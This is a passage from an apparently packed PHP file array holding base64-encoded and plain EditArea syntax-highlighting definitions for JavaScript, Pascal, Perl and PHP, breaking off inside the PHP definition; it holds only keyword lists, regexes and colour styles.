QkgKiAyIDogKG9wdGlvbm5hbCkgdGhlIHRleHQgdGhhdCBhcHBlYXIgaW4gdGhlIHN1Z2dlc3Rpb24gYm94IChpZiBlbXB0eSwgdGhlIHN0cmluZyB0byBpbnNlcnQgd2lsbCBiZSBkaXNwbGF5ZWQpDQoJCQkJCQkgKi8NCgkJCQkJCSBbJ0FycmF5JywgJ8KnKCknLCAnJ10NCgkJCSAgICAJCSxbJ2FsZXJ0JywgJ8KnKHtAfSknLCAnYWxlcnQoU3RyaW5nIG1lc3NhZ2UpJ10NCgkJCSAgICAJCSxbJ2RvY3VtZW50J10NCgkJCSAgICAJCSxbJ3dpbmRvdyddDQoJCQkgICAgCV0NCgkJICAgIAksJ3dpbmRvdycgOiBbDQoJCQkgICAgCQkgWydsb2NhdGlvbiddDQoJCQkgICAgCQksWydkb2N1bWVudCddDQoJCQkgICAgCQksWydzY3JvbGxUbycsICdzY3JvbGxUbyh7QH0pJywgJ3Njcm9sbFRvKEludCB4LEludCB5KSddDQoJCQkJCV0NCgkJICAgIAksJ2xvY2F0aW9uJyA6IFsNCgkJCSAgICAJCSBbJ2hyZWYnXQ0KCQkJCQldDQoJCQl9DQoJCX0NCgl9DQp9Ow0K',
  './AJAX-B/edit_area/reg_syntax/pas.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbInBhcyJdID0gew0KCSdDT01NRU5UX1NJTkdMRScgOiB7fQ0KCSwnQ09NTUVOVF9NVUxUSScgOiB7J3snIDogJ30nLCAnKConOicqKSd9DQoJLCdRVU9URU1BUktTJyA6IHsxOiAnIicsIDI6ICInIn0NCgksJ0tFWVdPUkRfQ0FTRV9TRU5TSVRJVkUnIDogZmFsc2UNCgksJ0tFWVdPUkRTJyA6IHsNCgkJJ2NvbnN0YW50cycgOiBbDQoJCQknQmxpbmsnLCAnQmxhY2snLCAnQmx1ZScsICdHcmVlbicsICdDeWFuJywgJ1JlZCcsDQoJCQknTWFnZW50YScsICdCcm93bicsICdMaWdodEdyYXknLCAnRGFya0dyYXknLA0KCQkJJ0xpZ2h0Qmx1ZScsICdMaWdodEdyZWVuJywgJ0xpZ2h0Q3lhbicsICdMaWdodFJlZCcsDQoJCQknTGlnaHRNYWdlbnRhJywgJ1llbGxvdycsICdXaGl0ZScsICdNYXhTSW50VmFsdWUnLA0KCQkJJ01heFVJbnRWYWx1ZScsICdtYXhpbnQnLCAnbWF4TG9uZ2ludCcsICdtYXhTbWFsbGludCcsDQoJCQknZXJyb3JhZGRyJywgJ2Vycm9yY29kZScsICdMaW5lRW5kaW5nJw0KCQldDQoJCSwna2V5d29yZHMnIDogWw0KCQkJJ2luJywgJ29yJywgJ2RpdicsICdtb2QnLCAnYW5kJywgJ3NobCcsICdzaHInLCAneG9yJywNCgkJCSdwb3cnLCAnaXMnLCAnbm90JywnQWJzb2x1dGUnLCAnQW5kX3RoZW4nLCAnQXJyYXknLA0KCQkJJ0JlZ2luJywgJ0JpbmRhYmxlJywgJ0Nhc2UnLCAnQ29uc3QnLCAnRG8nLCAnRG93bnRvJywNCgkJCSdFbHNlJywgJ0VuZCcsICdFeHBvcnQnLCAnRmlsZScsICdGb3InLCAnRnVuY3Rpb24nLA0KCQkJJ0dvdG8nLCAnSWYnLCAnSW1wb3J0JywgJ0ltcGxlbWVudGF0aW9uJywgJ0luaGVyaXRlZCcsDQoJCQknSW5saW5lJywgJ0ludGVyZmFjZScsICdMYWJlbCcsICdNb2R1bGUnLCAnTmlsJywNCgkJCSdPYmplY3QnLCAnT2YnLCAnT25seScsICdPcGVyYXRvcicsICdPcl9lbHNlJywNCgkJCSdPdGhlcndpc2UnLCAnUGFja2VkJywgJ1Byb2NlZHVyZScsICdQcm9ncmFtJywNCgkJCSdQcm90ZWN0ZWQnLCAnUXVhbGlmaWVkJywgJ1JlY29yZCcsICdSZXBlYXQnLA0KCQkJJ1Jlc3RyaWN0ZWQnLCAnU2V0JywgJ1RoZW4nLCAnVG8nLCAnVHlwZScsICdVbml0JywNCgkJCSdVbnRpbCcsICdVc2VzJywgJ1ZhbHVlJywgJ1ZhcicsICdWaXJ0dWFsJywgJ1doaWxlJywNCgkJCSdXaXRoJw0KCQldDQoJCSwnZnVuY3Rpb25zJyA6IFsNCgkJCSdBYnMnLCAnQWRkcicsICdBcHBlbmQnLCAnQXJjdGFuJywgJ0Fzc2VydCcsICdBc3NpZ24nLA0KCQkJJ0Fzc2lnbmVkJywgJ0JpblN0cicsICdCbG9ja3JlYWQnLCAnQmxvY2t3cml0ZScsDQoJCQknQnJlYWsnLCAnQ2hkaXInLCAnQ2hyJywgJ0Nsb3NlJywgJ0NvbXBhcmVCeXRlJywNCgkJCSdDb21wYXJlQ2hhcicsICdDb21wYXJlRFdvcmQnLCAnQ29tcGFyZVdvcmQnLCAnQ29uY2F0JywNCgkJCSdDb250aW51ZScsICdDb3B5JywgJ0NvcycsICdDU2VnJywgJ0RlYycsICdEZWxldGUnLA0KCQkJJ0Rpc3Bvc2UnLCAnRFNlZycsICdFb2YnLCAnRW9sbicsICdFcmFzZScsICdFeGNsdWRlJywNCgkJCSdFeGl0JywgJ0V4cCcsICdGaWxlcG9zJywgJ0ZpbGVzaXplJywgJ0ZpbGxCeXRlJywNCgkJCSdGaWxsY2hhcicsICdGaWxsRFdvcmQnLCAnRmlsbHdvcmQnLCAnRmx1c2gnLCAnRnJhYycsDQoJCQknRnJlZW1lbScsICdHZXRkaXInLCAnR2V0bWVtJywgJ0dldE1lbW9yeU1hbmFnZXInLA0KCQkJJ0hhbHQnLCAnSGV4U3RyJywgJ0hpJywgJ0hpZ2gnLCAnSW5jJywgJ0luY2x1ZGUnLA0KCQkJJ0luZGV4Qnl0ZScsICdJbmRleENoYXInLCAnSW5kZXhEV29yZCcsICdJbmRleFdvcmQnLA0KCQkJJ0luc2VydCcsICdJc01lbW9yeU1hbmFnZXJTZXQnLCAnSW50JywgJ0lPcmVzdWx0JywNCgkJCSdMZW5ndGgnLCAnTG4nLCAnTG8nLCAnTG9uZ0ptcCcsICdMb3cnLCAnTG93ZXJjYXNlJywNCgkJCSdNYXJrJywgJ01heGF2YWlsJywgJ01lbWF2YWlsJywgJ01rZGlyJywgJ01vdmUnLA0KCQkJJ01vdmVDaGFyMCcsICdOZXcnLCAnT2RkJywgJ09jdFN0cicsICdPZnMnLCAnT3JkJywNCgkJCSdQYXJhbWNvdW50JywgJ1BhcmFtc3RyJywgJ1BpJywgJ1BvcycsICdQb3dlcicsICdQcmVkJywNCgkJCSdQdHInLCAnUmFuZG9tJywgJ1JhbmRvbWl6ZScsICdSZWFkJywgJ1JlYWRsbicsDQoJCQknUmVhbDJEb3VibGUnLCAnUmVsZWFzZScsICdSZW5hbWUnLCAnUmVzZXQnLCAnUmV3cml0ZScsDQoJCQknUm1kaXInLCAnUm91bmQnLCAnUnVuZXJyb3InLCAnU2VlaycsICdTZWVrRW9mJywNCgkJCSdTZWVrRW9sbicsICdTZWcnLCAnU2V0TWVtb3J5TWFuYWdlcicsICdTZXRKbXAnLA0KCQkJJ1NldExlbmd0aCcsICdTZXRTdHJpbmcnLCAnU2V0VGV4dEJ1ZicsICdTaW4nLCAnU2l6ZU9mJywNCgkJCSdTcHRyJywgJ1NxcicsICdTcXJ0JywgJ1NTZWcnLCAnU3RyJywgJ1N0cmluZ09mQ2hhcicsDQoJCQknU3VjYycsICdTd2FwJywgJ1RydW5jJywgJ1RydW5jYXRlJywgJ1VwY2FzZScsICdWYWwnLA0KCQkJJ1dyaXRlJywgJ1dyaXRlTG4nDQoJCV0NCgkJLCd0eXBlcycgOiBbDQoJCQknSW50ZWdlcicsICdTaG9ydGludCcsICdTbWFsbEludCcsICdMb25naW50JywNCgkJCSdMb25nd29yZCcsICdJbnQ2NCcsICdCeXRlJywgJ1dvcmQnLCAnQ2FyZGluYWwnLA0KCQkJJ1FXb3JkJywgJ0Jvb2xlYW4nLCAnQnl0ZUJvb2wnLCAnTG9uZ0Jvb2wnLCAnQ2hhcicsDQoJCQknUmVhbCcsICdTaW5nbGUnLCAnRG91YmxlJywgJ0V4dGVuZGVkJywgJ0NvbXAnLA0KCQkJJ1N0cmluZycsICdTaG9ydFN0cmluZycsICdBbnNpU3RyaW5nJywgJ1BDaGFyJw0KCQldDQoJfQ0KCSwnT1BFUkFUT1JTJyA6Ww0KCQknQCcsICcqJywgJysnLCAnLScsICcvJywgJ14nLCAnOj0nLCAnPCcsICc9JywgJz4nDQoJXQ0KCSwnREVMSU1JVEVSUycgOlsNCgkJJygnLCAnKScsICdbJywgJ10nDQoJXQ0KCSwnU1RZTEVTJyA6IHsNCgkJJ0NPTU1FTlRTJzogJ2NvbG9yOiAjQUFBQUFBOycNCgkJLCdRVU9URVNNQVJLUyc6ICdjb2xvcjogIzYzODFGODsnDQoJCSwnS0VZV09SRFMnIDogew0KCQkJJ3NwZWNpYWxzJyA6ICdjb2xvcjogI0VFMDAwMDsnDQoJCQksJ2NvbnN0YW50cycgOiAnY29sb3I6ICM2NTQzMjE7Jw0KCQkJLCdrZXl3b3JkcycgOiAnY29sb3I6ICM0OEJEREY7Jw0KCQkJLCdmdW5jdGlvbnMnIDogJ2NvbG9yOiAjNDQ5OTIyOycNCgkJCSwndHlwZXMnIDogJ2NvbG9yOiAjMkI2MEZGOycNCgkJCX0NCgkJLCdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjRkYwMEZGOycNCgkJLCdERUxJTUlURVJTJyA6ICdjb2xvcjogIzYwQ0EwMDsnDQoJfQ0KfTsNCg==',
  './AJAX-B/edit_area/reg_syntax/perl.js' => 'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KICogKGMpIDIwMDggLSBmaWxlIGNyZWF0ZWQgYnkgQ2hyaXN0b3BoIFBpbmtlbCwgTVRDIEluZm9tZWRpYSBPSEcuDQogKg0KICogWW91IG1heSBjaG9vc2UgYW55IGxpY2Vuc2Ugb2YgdGhlIGN1cnJlbnQgcmVsZWFzZSBvciBhbnkgZnV0dXJlIHJlbGVhc2UNCiAqIG9mIGVkaXRhcmVhIHRvIHVzZSwgbW9kaWZ5IGFuZC9vciByZWRpc3RyaWJ1dGUgdGhpcyBmaWxlLg0KICoNCiAqIFRoaXMgbGFuZ3VhZ2Ugc3BlY2lmaWNhdGlvbiBmaWxlIHN1cHBvcnRzIGZvciBzeW50YXggY2hlY2tpbmcgb24NCiAqIGEgbGFyZ2Ugc3Vic2V0IG9mIFBlcmwgNS54Lg0KICogVGhlIGJhc2ljIGNvbW1vbiBzeW50YXggb2YgUGVybCBpcyBmdWxseSBzdXBwb3J0ZWQsIGJ1dCBhcyBmb3INCiAqIHRoZSBoaWdobGlnaHRpbmcgb2YgYnVpbHQtaW4gb3BlcmF0aW9ucywgaXQncyBtYWlubHkgZGVzaWduZWQNCiAqIHRvIHN1cHBvcnQgZm9yIGhpZ2h0bGlnaHRpbmcgUGVybCBjb2RlIGluIGEgU2FmZSBlbnZpcm9ubWVudCAoY29tcGFydG1lbnQpDQogKiBhcyB1c2VkIGJ5IENvTWFOZXQgZm9yIGV2YWx1YXRpb24gb2YgYWRtaW5pc3RyYXRpdmUgc2NyaXB0cy4gVGhpcyBTYWZlDQogKiBjb21wYXJ0bWVudCBiYXNpY2FsbHkgYWxsb3dzIGZvciBhbGwgb2YgT3Bjb2RlJ3MgOmRlZmF1bHQgb3BlcmF0aW9ucywNCiAqIGJ1dCBsaXR0bGUgb3RoZXJzLiBTZWUgaHR0cDovL3Blcmxkb2MucGVybC5vcmcvT3Bjb2RlLmh0bWwgdG8gbGVhcm4NCiAqIG1vcmUuDQogKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KDQplZGl0QXJlYUxvYWRlci5sb2FkX3N5bnRheFsicGVybCJdID0gew0KDQoJJ0NPTU1FTlRfU0lOR0xFJyA6IHsxIDogJyMnfSwNCgknUVVPVEVNQVJLUycgOiB7MTogIiciLCAyOiAnIid9LA0KCSdLRVlXT1JEX0NBU0VfU0VOU0lUSVZFJyA6IHRydWUsDQoJJ0tFWVdPUkRTJyA6DQoJew0KCQknY29yZScgOg0KCQkJWyAiaWYiLCAiZWxzZSIsICJlbHNpZiIsICJ3aGlsZSIsICJmb3IiLCAiZWFjaCIsICJmb3JlYWNoIiwNCgkJCQkibmV4dCIsICJsYXN0IiwgImdvdG8iLCAiZXhpc3RzIiwgImRlbGV0ZSIsICJ1bmRlZiIsDQoJCQkJIm15IiwgIm91ciIsICJsb2NhbCIsICJ1c2UiLCAicmVxdWlyZSIsICJwYWNrYWdlIiwgImtleXMiLCAidmFsdWVzIiwNCgkJCQkic3ViIiwgImJsZXNzIiwgInJlZiIsICJyZXR1cm4iIF0sDQoJCSdmdW5jdGlvbnMnIDoNCgkJCVsNCgkJCQkvL2Zyb20gOmJhc2VfY29yZQ0KCQkJCSJpbnQiLCAiaGV4IiwgIm9jdCIsICJhYnMiLCAic3Vic3RyIiwgInZlYyIsICJzdHVkeSIsICJwb3MiLA0KCQkJCSJsZW5ndGgiLCAiaW5kZXgiLCAicmluZGV4IiwgIm9yZCIsICJjaHIiLCAidWNmaXJzdCIsICJsY2ZpcnN0IiwNCgkJCQkidWMiLCAibGMiLCAicXVvdGVtZXRhIiwgImNob3AiLCAiY2hvbXAiLCAic3BsaXQiLCAibGlzdCIsICJzcGxpY2UiLA0KCQkJCSJwdXNoIiwgInBvcCIsICJzaGlmdCIsICJ1bnNoaWZ0IiwgInJldmVyc2UiLCAiYW5kIiwgIm9yIiwgImRvciIsDQoJCQkJInhvciIsICJ3YXJuIiwgImRpZSIsICJwcm90b3R5cGUiLA0KCQkJCS8vZnJvbSA6YmFzZV9tZW0NCgkJCQkiY29uY2F0IiwgInJlcGVhdCIsICJqb2luIiwgInJhbmdlIiwNCgkJCQkvL25vbmUgZnJvbSA6YmFzZV9sb29wLCBhcyB3ZSdsbCBzZWUgdGhlbSBhcyBiYXNpYyBzdGF0ZW1lbnRzLi4uDQoJCQkJLy9mcm9tIDpiYXNlX29yaWcNCgkJCQkic3ByaW50ZiIsICJjcnlwdCIsICJ0aWUiLCAidW50aWUiLCAic2VsZWN0IiwgImxvY2FsdGltZSIsICJnbXRpbWUiLA0KCQkJCS8vb3RoZXJzDQoJCQkJInByaW50IiwgIm9wZW4iLCAiY2xvc2UiDQoJCQldDQoJfSwNCgknT1BFUkFUT1JTJyA6DQoJCVsgJysnLCAnLScsICcvJywgJyonLCAnPScsICc8JywgJz4nLCAnIScsICd8fCcsICcuJywgJyYmJywNCgkJCScgZXEgJywgJyBuZSAnLCAnPX4nIF0sDQoJJ0RFTElNSVRFUlMnIDoNCgkJWyAnKCcsICcpJywgJ1snLCAnXScsICd7JywgJ30nIF0sDQoJJ1JFR0VYUFMnIDoNCgl7DQoJCSdwYWNrYWdlZGVjbCcgOiB7ICdzZWFyY2gnOiAnKHBhY2thZ2UgKShbXiBcclxuXHQjO10qKSgpJywNCgkJCSdjbGFzcycgOiAnc2NvcGluZ25hbWVzJywNCgkJCSdtb2RpZmllcnMnIDogJ2cnLCAnZXhlY3V0ZScgOiAnYmVmb3JlJyB9LA0KCQknc3ViZGVjbCcgOiB7ICdzZWFyY2gnOiAnKHN1YiApKFteIFxyXG5cdCNdKikoKScsDQoJCQknY2xhc3MnIDogJ3Njb3BpbmduYW1lcycsDQoJCQknbW9kaWZpZXJzJyA6ICdnJywgJ2V4ZWN1dGUnIDogJ2JlZm9yZScgfSwNCgkJJ3NjYWxhcnMnIDogeyAnc2VhcmNoJzogJygpKFxcXCRbYS16QS1aMC05XzpdKikoKScsDQoJCQknY2xhc3MnIDogJ3ZhcnMnLA0KCQkJJ21vZGlmaWVycycgOiAnZycsICdleGVjdXRlJyA6ICdhZnRlcicgfSwNCgkJJ2FycmF5cycgOiB7ICdzZWFyY2gnOiAnKCkoQFthLXpBLVowLTlfOl0qKSgpJywNCgkJCSdjbGFzcycgOiAndmFycycsDQoJCQknbW9kaWZpZXJzJyA6ICdnJywgJ2V4ZWN1dGUnIDogJ2FmdGVyJyB9LA0KCQknaGFzaHMnIDogeyAnc2VhcmNoJzogJygpKCVbYS16QS1aMC05XzpdKikoKScsDQoJCQknY2xhc3MnIDogJ3ZhcnMnLA0KCQkJJ21vZGlmaWVycycgOiAnZycsICdleGVjdXRlJyA6ICdhZnRlcicgfSwNCgl9LA0KDQoJJ1NUWUxFUycgOg0KCXsNCgkJJ0NPTU1FTlRTJzogJ2NvbG9yOiAjQUFBQUFBOycsDQoJCSdRVU9URVNNQVJLUyc6ICdjb2xvcjogI0RDMDAwMDsnLA0KCQknS0VZV09SRFMnIDoNCgkJew0KCQkJJ2NvcmUnIDogJ2NvbG9yOiAjOGFjYTAwOycsDQoJCQknZnVuY3Rpb25zJyA6ICdjb2xvcjogIzJCNjBGRjsnDQoJCX0sDQoJCSdPUEVSQVRPUlMnIDogJ2NvbG9yOiAjOGFjYTAwOycsDQoJCSdERUxJTUlURVJTJyA6ICdjb2xvcjogIzAwMzhFMTsnLA0KCQknUkVHRVhQUyc6DQoJCXsNCgkJCSdzY29waW5nbmFtZXMnIDogJ2NvbG9yOiAjZmYwMDAwOycsDQoJCQkndmFycycgOiAnY29sb3I6ICMwMGFhYWE7JywNCgkJfQ0KCX0gLy8nU1RZTEVTJw0KfTsNCg==',
  './AJAX-B/edit_area/reg_syntax/php.js' => 'editAreaLoader.load_syntax["php"] = {
	'COMMENT_SINGLE' : {1 : '//', 2 : '#'}
	,'COMMENT_MULTI' : {'/*' : '*/'}
	,'QUOTEMARKS' : {1: "'", 2: '"'}
	,'KEYWORD_CASE_SENSITIVE' : false
	,'KEYWORDS' : {
		'statements' : [
			'include', 'require', 'include_once', 'require_once',
			'for', 'foreach', 'as', 'if', 'elseif', 'else', 'while', 'do', 'endwhile',
            'endif', 'switch', 'case', 'endswitch',
			'return', 'break', 'continue'
		]
		,'reserved' : [
			'_GET', '_POST', '_SESSION', '_SERVER', '_FILES', '_ENV', '_COOKIE', '_REQUEST',
			'null', '__LINE__', '__FILE__',
			'false', '&lt;?php', '?&gt;', '&lt;?',
			'&lt;script language', '&lt;/script&gt;',
			'true', 'var', 'default',
			'function', 'class', 'new', '&amp;new', 'this',
			'__FUNCTION__', '__CLASS__', '__METHOD__', 'PHP_VERSION',
			'PHP_OS', 'DEFAULT_INCLUDE_PATH', 'PEAR_INSTALL_DIR', 'PEAR_EXTENSION_DIR',
			'PHP_EXTENSION_DIR', 'PHP_BINDIR', 'PHP_LIBDIR', 'PHP_DATADIR', 'PHP_SYSCONFDIR',
			'PHP_LOCALSTATEDIR', 'PHP_CONFIG_FILE_PATH', 'PHP_OUTPUT_HANDLER_START', 'PHP_OUTPUT_HANDLER_CONT',
			'PHP_OUTPUT_HANDLER_END', 'E_ERROR', 'E_WARNING', 'E_PARSE', 'E_NOTICE',
			'E_CORE_ERROR', 'E_CORE_WARNING', 'E_COMPILE_ERROR', 'E_COMPILE_WARNING', 'E_USER_ERROR',
			'E_USER_WARNING', 'E_USER_NOTICE', 'E_ALL'
			
		]
		,'functions' : [
			'func_num_args', 'func_get_arg', 'func_get_args', 'strlen', 'strcmp', 'strncmp', 'strcasecmp', 'strncasecmp', 'each', 'error_reporting', 'define', 'defined',
			'trigger_error', 'user_error', 'set_error_handler', 'restore_error_handler', 'get_declared_classes', 'get_loaded_extensions',
			'extension_loaded', 'get_extension_funcs', 'debug_backtrace',
			'constant', 'bin2hex', 'sleep', 'usleep', 'time', 'mktime', 'gmmktime', 'strftime', 'gmstrftime', 'strtotime', 'date', 'gmdate', 'getdate', 'localtime', 'checkdate', 'flush', 'wordwrap', 'htmlspecialchars', 'htmlentities', 'html_entity_decode', 'md5', 'md5_file', 'crc32', 'getimagesize', 'image_type_to_mime_type', 'phpinfo', 'phpversion', 'phpcredits', 'strnatcmp', 'strnatcasecmp', 'substr_count', 'strspn', 'strcspn', 'strtok', 'strtoupper', 'strtolower', 'strpos', 'strrpos', 'strrev', 'hebrev', 'hebrevc', 'nl2br', 'basename', 'dirname', 'pathinfo', 'stripslashes', 'stripcslashes', 'strstr', 'stristr', 'strrchr', 'str_shuffle', 'str_word_count', 'strcoll', 'substr', 'substr_replace', 'quotemeta', 'ucfirst', 'ucwords', 'strtr', 'addslashes', 'addcslashes', 'rtrim', 'str_replace', 'str_repeat', 'count_chars', 'chunk_split', 'trim', 'ltrim', 'strip_tags', 'similar_text', 'explode', 'implode', 'setlocale', 'localeconv',
			'parse_str', 'str_pad', 'chop', 'strchr', 'sprintf', 'printf', 'vprintf', 'vsprintf', 'sscanf', 'fscanf', 'parse_url', 'urlencode', 'urldecode', 'rawurlencode', 'rawurldecode', 'readlink', 'linkinfo', 'link', 'unlink', 'exec', 'system', 'escapeshellcmd', 'escapeshellarg', 'passthru', 'shell_exec', 'proc_open', 'proc_close', 'rand', 'srand', 'getrandmax', 'mt_rand', 'mt_srand', 'mt_getrandmax', 'base64_decode', 'base64_encode', 'abs', 'ceil', 'floor', 'round', 'is_finite', 'is_nan', 'is_infinite', 'bindec', 'hexdec', 'octdec', 'decbin', 'decoct', 'dechex', 'base_convert', 'number_format', 'fmod', 'ip2long', 'long2ip', 'getenv', 'putenv', 'getopt', 'microtime', 'gettimeofday', 'getrusage', 'uniqid', 'quoted_printable_decode', 'set_time_limit', 'get_cfg_var', 'magic_quotes_runtime', 'set_magic_quotes_runtime', 'get_magic_quotes_gpc', 'get_magic_quotes_runtime',
			'import_request_variables', 'error_log', 'serialize', 'unserialize', 'memory_get_usage', 'var_dump', 'var_export', 'debug_zval_dump', 'print_r','highlight_file', 'show_source', 'highlight_string', 'ini_get', 'ini_get_all', 'ini_set', 'ini_alter', 'ini_restore', 'get_include_path', 'set_include_path', 'restore_include_path', 'setcookie', 'header', 'headers_sent', 'connection_aborted', 'connection_status', 'ignore_user_abort', 'parse_ini_file', 'is_uploaded_file', 'move_uploaded_file', 'intval', 'floatval', 'doubleval', 'strval', 'gettype', 'settype', 'is_null', 'is_resource', 'is_bool', 'is_long', 'is_float', 'is_int', 'is_integer', 'is_double', 'is_real', 'is_numeric', 'is_string', 'is_array', 'is_object', 'is_scalar',
			'ereg', 'ereg_replace', 'eregi', 'eregi_replace', 'split', 'spliti', 'join', 'sql_regcase', 'dl', 'pclose', 'popen', 'readfile', 'rewind', 'rmdir', 'umask', 'fclose', 'feof', 'fgetc', 'fgets', 'fgetss', 'fread', 'fopen', 'fpassthru', 'ftruncate', 'fstat', 'fseek', 'ftell', 'fflush', 'fwrite', 'fputs', 'mkdir', 'rename', 'copy', 'tempnam', 'tmpfile', 'file', 'file_get_contents', 'stream_select', 'stream_context_create', 'stream_context_set_params', 'stream_context_set_option', 'stream_context_get_options', 'stream_filter_prepend', 'stream_filter_append', 'fgetcsv', 'flock', 'get_meta_tags', 'stream_set_write_buffer', 'set_file_buffer', 'set_socket_blocking', 'stream_set_blocking', 'socket_set_blocking', 'stream_get_meta_data', 'stream_register_wrapper', 'stream_wrapper_register', 'stream_set_timeout', 'socket_set_timeout', 'socket_get_status', 'realpath', 'fnmatch', 'fsockopen', 'pfsockopen', 'pack', 'unpack', 'get_browser', 'crypt', 'opendir', 'closedir', 'chdir', 'getcwd', 'rewinddir', 'readdir', 'dir', 'glob', 'fileatime', 'filectime', 'filegroup', 'fileinode', 'filemtime', 'fileowner', 'fileperms', 'filesize', 'filetype', 'file_exists', 'is_writable', 'is_writeable', 'is_readable', 'is_executable', 'is_file', 'is_dir', 'is_link', 'stat', 'lstat', 'chown',
			'touch', 'clearstatcache', 'mail', 'ob_start', 'ob_flush', 'ob_clean', 'ob_end_flush', 'ob_end_clean', 'ob_get_flush', 'ob_get_clean', 'ob_get_length', 'ob_get_level', 'ob_get_status', 'ob_get_contents', 'ob_implicit_flush', 'ob_list_handlers', 'ksort', 'krsort', 'natsort', 'natcasesort', 'asort', 'arsort', 'sort', 'rsort', 'usort', 'uasort', 'uksort', 'shuffle', 'array_walk', 'count', 'end', 'prev', 'next', 'reset', 'current', 'key', 'min', 'max', 'in_array', 'array_search', 'extract', 'compact', 'array_fill', 'range', 'array_multisort', 'array_push', 'array_pop', 'array_shift', 'array_unshift', 'array_splice', 'array_slice', 'array_merge', 'array_merge_recursive', 'array_keys', 'array_values', 'array_count_values', 'array_reverse', 'array_reduce', 'array_pad', 'array_flip', 'array_change_key_case', 'array_rand', 'array_unique', 'array_intersect', 'array_intersect_assoc', 'array_diff', 'array_diff_assoc', 'array_sum', 'array_filter', 'array_map', 'array_chunk', 'array_key_exists', 'pos', 'sizeof', 'key_exists', 'assert', 'assert_options', 'version_compare', 'ftok', 'str_rot13', 'aggregate',
			'session_name', 'session_module_name', 'session_save_path', 'session_id', 'session_regenerate_id', 'session_decode', 'session_register', 'session_unregister', 'session_is_registered', 'session_encode',
			'session_start', 'session_destroy', 'session_unset', 'session_set_save_handler', 'session_cache_limiter', 'session_cache_expire', 'session_set_cookie_params', 'session_get_cookie_params', 'session_write_close', 'preg_match', 'preg_match_all', 'preg_replace', 'preg_replace_callback', 'preg_split', 'preg_quote', 'preg_grep', 'overload', 'ctype_alnum', 'ctype_alpha', 'ctype_cntrl', 'ctype_digit', 'ctype_lower', 'ctype_graph', 'ctype_print', 'ctype_punct', 'ctype_space', 'ctype_upper', 'ctype_xdigit', 'virtual', 'apache_request_headers', 'apache_note', 'apache_lookup_uri', 'apache_child_terminate', 'apache_setenv', 'apache_response_headers', 'apache_get_version', 'getallheaders', 'mysql_connect', 'mysql_pconnect', 'mysql_close', 'mysql_select_db', 'mysql_create_db', 'mysql_drop_db', 'mysql_query', 'mysql_unbuffered_query', 'mysql_db_query', 'mysql_list_dbs', 'mysql_list_tables', 'mysql_list_fields', 'mysql_list_processes', 'mysql_error', 'mysql_errno', 'mysql_affected_rows', 'mysql_insert_id', 'mysql_result', 'mysql_num_rows', 'mysql_num_fields', 'mysql_fetch_row', 'mysql_fetch_array', 'mysql_fetch_assoc', 'mysql_fetch_object', 'mysql_data_seek', 'mysql_fetch_lengths', 'mysql_fetch_field', 'mysql_field_seek', 'mysql_free_result', 'mysql_field_name', 'mysql_field_table', 'mysql_field_len', 'mysql_field_type', 'mysql_field_flags', 'mysql_escape_string', 'mysql_real_escape_string', 'mysql_stat',
			'mysql_thread_id', 'mysql_client_encoding', 'mysql_get_client_info', 'mysql_get_host_info', 'mysql_get_proto_info', 'mysql_get_server_info', 'mysql_info', 'mysql', 'mysql_fieldname', 'mysql_fieldtable', 'mysql_fieldlen', 'mysql_fieldtype', 'mysql_fieldflags', 'mysql_selectdb', 'mysql_createdb', 'mysql_dropdb', 'mysql_freeresult', 'mysql_numfields', 'mysql_numrows', 'mysql_listdbs', 'mysql_listtables', 'mysql_listfields', 'mysql_db_name', 'mysql_dbname', 'mysql_tablename', 'mysql_table_name', 'pg_connect', 'pg_pconnect', 'pg_close', 'pg_connection_status', 'pg_connection_busy', 'pg_connection_reset', 'pg_host', 'pg_dbname', 'pg_port', 'pg_tty', 'pg_options', 'pg_ping', 'pg_query', 'pg_send_query', 'pg_cancel_query', 'pg_fetch_result', 'pg_fetch_row', 'pg_fetch_assoc', 'pg_fetch_array', 'pg_fetch_object', 'pg_fetch_all', 'pg_affected_rows', 'pg_get_result', 'pg_result_seek', 'pg_result_status', 'pg_free_result', 'pg_last_oid', 'pg_num_rows', 'pg_num_fields', 'pg_field_name', 'pg_field_num', 'pg_field_size', 'pg_field_type', 'pg_field_prtlen', 'pg_field_is_null', 'pg_get_notify', 'pg_get_pid', 'pg_result_error', 'pg_last_error', 'pg_last_notice', 'pg_put_line', 'pg_end_copy', 'pg_copy_to', 'pg_copy_from',
			'pg_trace', 'pg_untrace', 'pg_lo_create', 'pg_lo_unlink', 'pg_lo_open', 'pg_lo_close', 'pg_lo_read', 'pg_lo_write', 'pg_lo_read_all', 'pg_lo_import', 'pg_lo_export', 'pg_lo_seek', 'pg_lo_tell', 'pg_escape_string', 'pg_escape_bytea', 'pg_unescape_bytea', 'pg_client_encoding', 'pg_set_client_encoding', 'pg_meta_data', 'pg_convert', 'pg_insert', 'pg_update', 'pg_delete', 'pg_select', 'pg_exec', 'pg_getlastoid', 'pg_cmdtuples', 'pg_errormessage', 'pg_numrows', 'pg_numfields', 'pg_fieldname', 'pg_fieldsize', 'pg_fieldtype', 'pg_fieldnum', 'pg_fieldprtlen', 'pg_fieldisnull', 'pg_freeresult', 'pg_result', 'pg_loreadall', 'pg_locreate', 'pg_lounlink', 'pg_loopen', 'pg_loclose', 'pg_loread', 'pg_lowrite', 'pg_loimport', 'pg_loexport',
			'echo', 'print', 'global', 'static', 'exit', 'array', 'empty', 'eval', 'isset', 'unset', 'die'

		]
	}
	,'OPERATORS' :[
		'+', '-', '/', '*', '=', '<', '>', '%', '!', '&&', '||'
	]
	,'DELIMITERS' :[
		'(', ')', '[', ']', '{', '}'
	]
	,'REGEXPS' : {
		// highlight all variables ($...)
		'variables' : {
			'search' : '()(\\$\\w+)()'
			,'class' : 'variables'
			,'modifiers' : 'g'
			,'execute' : 'before' // before or after
		}
	}
	,'STYLES' : {
		'COMMENTS': 'color: #AAAAAA;'
		,'QUOTESMARKS': 'color: #879EFA;'
		,'KEYWORDS' : {
			'reserved' : 'color: #48BDDF;'
			,'functions' : 'color: #0040FD;'
			,'statements' : 'color: #60CA00;'
			}
		,'OPERATORS' : 'color: #FF00FF;'
		,'DELIMITERS' : 'color: #2B60FF;'
		,'REGEXPS' : {
			'variables' : 'color: #E0BD54;'
		}		
	}
	,'AUTO_COMPLETION' :  {
